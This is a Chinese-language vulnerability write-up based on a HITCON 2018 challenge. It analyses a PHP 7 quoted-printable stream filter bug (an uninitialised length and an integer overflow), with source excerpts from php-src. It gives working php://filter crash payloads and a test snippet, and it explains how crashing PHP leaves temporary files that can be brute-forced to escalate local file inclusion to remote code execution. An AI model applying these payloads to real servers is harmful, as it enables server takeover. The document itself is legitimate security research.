LFI to RCE without session.upload
One Line PHP Challenge
HITCON2018
由:tangerine:出的 One Line PHP Challenge
,利用了 filter
編碼與 session.upload
搭配,從而構造出開頭是 @<?php
的檔案流,達成了RCE。
ofollow,noindex" target="_blank">題目詳情與writeup
A new way to exploit PHP7.2 from LFI to RCE
分析過程1
在 HITCON2018
的比賽過程中,我嘗試了 convert.quoted-printable-encode
這個filter,但是我在data部分傳入超大ascii碼的字元時( php://filter/convert.quoted-printable-encode/resource=data://,%bf%bf%bf%bf%bf%bf%bf%bf%bf%bf%bf%bf%bf%bf%bf%bf%bf%bf%bf
),發現伺服器報了 500
,在本地測試,發現報錯為:
然後我就產生的疑問: 這麼簡單的功能,這麼少的字元總數,為什麼會分配這麼多記憶體直到超過 limit
?
賽後我稍微跟了一下,發現最終的原因是陷入 strfilter_convert_append_bucket()
的迴圈裡,每次倍增分配記憶體的大小。
https://github.com/php/php-src/blob/9e4d590b1982cf38f23948dff1beffd06fd9e0d3/ext/standard/filters.c#L1492
迴圈主體為:
// 獲取的返回值一直為 PHP_CONV_ERR_TOO_BIG err = php_conv_convert(inst->cd, &pt, &tcnt, &pd, &ocnt); ... case PHP_CONV_ERR_TOO_BIG: { char *new_out_buf; size_t new_out_buf_size; new_out_buf_size = out_buf_size << 1; /* 這裡的new_out_buf_size為out_buf_size左移一位 也就是說如果out_buf_size為一個比較小的數字,下面的if恆不成立 */ if (new_out_buf_size < out_buf_size) { if (NULL == (new_bucket = php_stream_bucket_new(stream, out_buf, (out_buf_size - ocnt), 1, persistent))) { goto out_failure; //只有這裡能跳出迴圈 } php_stream_bucket_append(buckets_out, new_bucket); out_buf_size = ocnt = initial_out_buf_size; out_buf = pemalloc(out_buf_size, persistent); pd = out_buf; } else { //這裡不斷的在嘗試alloc memory,因為陷入了迴圈,且分配大小每次倍增,所以很快就超過了限制 new_out_buf = perealloc(out_buf, new_out_buf_size, persistent); pd = new_out_buf + (pd - out_buf); ocnt += (new_out_buf_size - out_buf_size); out_buf = new_out_buf; out_buf_size = new_out_buf_size; } } break;
按照PHP開發人員正常的邏輯,生成 PHP_CONV_ERR_TOO_BIG
錯誤就代表 out_buf_size
是個大數,通過左移能丟失最高位變成一個小數,從而進入 if
分支goto跳出迴圈,但是這裡的問題是, err
為 PHP_CONV_ERR_TOO_BIG
, out_buf_size
是個小數。
我們來回溯一下為什麼是這樣
#define php_conv_convert(a, b, c, d, e) ((php_conv *)(a))->convert_op((php_conv *)(a), (b), (c), (d), (e))
呼叫了 inst->cd->convert_op()
,也就是 php_conv_qprint_encode_convert()
static php_conv_err_t php_conv_qprint_encode_convert(php_conv_qprint_encode *inst, const char **in_pp, size_t *in_left_p, char **out_pp, size_t *out_left_p) { php_conv_err_t err = PHP_CONV_ERR_SUCCESS; unsigned char *ps, *pd; size_t icnt, ocnt; unsigned int c; unsigned int line_ccnt; unsigned int lb_ptr; unsigned int lb_cnt; unsigned int trail_ws; int opts; static char qp_digits[] = "0123456789ABCDEF"; line_ccnt = inst->line_ccnt; opts = inst->opts; lb_ptr = inst->lb_ptr; lb_cnt = inst->lb_cnt; if ((in_pp == NULL || in_left_p == NULL) && (lb_ptr >=lb_cnt)) { return PHP_CONV_ERR_SUCCESS; } ps = (unsigned char *)(*in_pp); icnt = *in_left_p; pd = (unsigned char *)(*out_pp); ocnt = *out_left_p; trail_ws = 0; for (;;) { if (!(opts & PHP_CONV_QPRINT_OPT_BINARY) && inst->lbchars != NULL && inst->lbchars_len > 0) {
所有的傳入引數如下:
按照預期,qprint支援的可編碼字元應該傳入到這個分支
https://github.com/php/php-src/blob/9e4d590b1982cf38f23948dff1beffd06fd9e0d3/ext/standard/filters.c#L896
但是因為我輸入的字元中包含ascii碼大於126的,導致進入了 else
分支 https://github.com/php/php-src/blob/9e4d590b1982cf38f23948dff1beffd06fd9e0d3/ext/standard/filters.c#L919
而 inst->lbchars_len
可以看見是一個非常大的數,所以進入到了 if (ocnt < inst->lbchars_len + 1)
這個分支,導致一直返回 TOO BIG error
} else { if (line_ccnt < 4) { if (ocnt < inst->lbchars_len + 1) { err = PHP_CONV_ERR_TOO_BIG;//BUG的成因 break; } *(pd++) = '='; ocnt--; line_ccnt--; memcpy(pd, inst->lbchars, inst->lbchars_len); pd += inst->lbchars_len; ocnt -= inst->lbchars_len; line_ccnt = inst->line_len; } if (ocnt < 3) { err = PHP_CONV_ERR_TOO_BIG; break; } *(pd++) = '='; *(pd++) = qp_digits[(c >> 4)]; *(pd++) = qp_digits[(c & 0x0f)]; ocnt -= 3; line_ccnt -= 3; if (trail_ws > 0) { trail_ws--; } CONSUME_CHAR(ps, icnt, lb_ptr, lb_cnt); }
為什麼 lbchars_len
這麼大呢?
我發現它最初賦值的位置是
static php_conv_err_t php_conv_qprint_encode_ctor(php_conv_qprint_encode *inst, unsigned int line_len, const char *lbchars, size_t lbchars_len, int lbchars_dup, int opts, int persistent) { if (line_len < 4 && lbchars != NULL) { return PHP_CONV_ERR_TOO_BIG; } inst->_super.convert_op = (php_conv_convert_func) php_conv_qprint_encode_convert; inst->_super.dtor = (php_conv_dtor_func) php_conv_qprint_encode_dtor; inst->line_ccnt = line_len; inst->line_len = line_len; if (lbchars != NULL) { inst->lbchars = (lbchars_dup ? pestrdup(lbchars, persistent) : lbchars); inst->lbchars_len = lbchars_len;//這裡賦值 } else { inst->lbchars = NULL; } inst->lbchars_dup = lbchars_dup; inst->persistent = persistent; inst->opts = opts; inst->lb_cnt = inst->lb_ptr = 0; return PHP_CONV_ERR_SUCCESS; }
inst
初始化的時候
https://github.com/php/php-src/blob/9e4d590b1982cf38f23948dff1beffd06fd9e0d3/ext/standard/filters.c#L1337
case PHP_CONV_QPRINT_ENCODE: { unsigned int line_len = 0; char *lbchars = NULL; size_t lbchars_len; int opts = 0; if (options != NULL) { ... } retval = pemalloc(sizeof(php_conv_qprint_encode), persistent); if (lbchars != NULL) { ... } else { if (php_conv_qprint_encode_ctor((php_conv_qprint_encode *)retval, 0, NULL, 0, 0, opts, persistent)) { goto out_failure; } } } break;
因為我們使用 php://
沒有對 convert.quoted-printable-encode
附加 options
, 所以這裡的 options
就是 NULL
,,一直到了 else
分支, 我們可以看到他傳的引數為 (php_conv_qprint_encode *)retval, 0, NULL, 0, 0, opts, persistent)
至此,導致 lbchars
為 NULL
,導致 lbchars_len
沒有被賦值。
第一個結論
inst->lbchars_len
變數未初始化呼叫
分析過程2
因為 inst->lbchars_len
是未初始化呼叫,是從記憶體中相應位置取出的值,PHP涉及到很多記憶體操作,那麼有沒有可能讓我們控制整個值呢? 根據定義,我們知道lbchars_len長度為 8bytes
,通過調整 附加data
的長度,我發現會有一些request報文頭的 8bytes
被儲存到 inst->lbchars_len
繼續調整,將url的param部分洩露了出來
這樣我們就可以控制 inst->lbchars_len
的值了,但是因為 php://
的 resource
內容不能包含 \x00
,所以只能構造 \x01
- \xff
的內容
再回頭看
} else { if (line_ccnt < 4) { if (ocnt < inst->lbchars_len + 1) { err = PHP_CONV_ERR_TOO_BIG;//BUG的成因 break; } *(pd++) = '='; ocnt--; line_ccnt--; memcpy(pd, inst->lbchars, inst->lbchars_len); pd += inst->lbchars_len; ocnt -= inst->lbchars_len; line_ccnt = inst->line_len; } if (ocnt < 3) { err = PHP_CONV_ERR_TOO_BIG; break; } *(pd++) = '='; *(pd++) = qp_digits[(c >> 4)]; *(pd++) = qp_digits[(c & 0x0f)]; ocnt -= 3; line_ccnt -= 3; if (trail_ws > 0) { trail_ws--; } CONSUME_CHAR(ps, icnt, lb_ptr, lb_cnt); }
可以發現 memcpy
的位置第二個引數是 NULL
,第一個,第三個引數可控,如果被呼叫,會導致一個 segfault
,從而在 tmp
下駐留檔案,但是我們無法使用 %00
,如何讓 ocnt < inst->lbchars_len + 1
不成立呢?( ocnt
為data的長度),這裡就要利用整數溢位,將 lbchars_len + 1
溢位到0
結論2
https://github.com/php/php-src/blob/9e4d590b1982cf38f23948dff1beffd06fd9e0d3/ext/standard/filters.c#L921
inst->lbchars_len
可控且存在整數溢位
構造poc
所以控制可控部分為 \xff\xff\xff\xff\xff\xff\xff\xff
即可
以下poc會把 inst->lbchars_len
賦值成12345678(string)
php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA87654321AAAAAAAAAAAAAAAAAAAAAAAA
如果要進入到 memcpy
,需要把相應部分替換成 %ff
php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA
此POC可導致PHP異常退出,tmp下的檔案來不及回收,從而可以利用這些臨時檔案getshell.
(生成62**3個檔案,再去爆破)(小技巧: 每次請求可以傳送20個檔案)
其他問題
記憶體洩露
根據 ocnt < inst->lbchars_len + 1
這個判斷條件,因為左式是data長度,是可控的,右側是可以記憶體洩露的內容轉int+1,所以存在著記憶體洩露的風險,不過十分難控制,而且洩露的大多是沒用的(因為request報文儲存在其附近)
heap overflow
memcpy()
第一個第三個引數可控,但是第二個引數因為是 NULL
,導致現在只能利用其segfault,所以很可惜(審了一下附近的程式碼,暫時沒發現因這個可控引數引起的其他漏洞)
漏洞適用版本
test code
<?php file(urldecode('php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAFAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA')); ?>
7.3 7.2
7.1
7.0
全版本通殺 PHP>7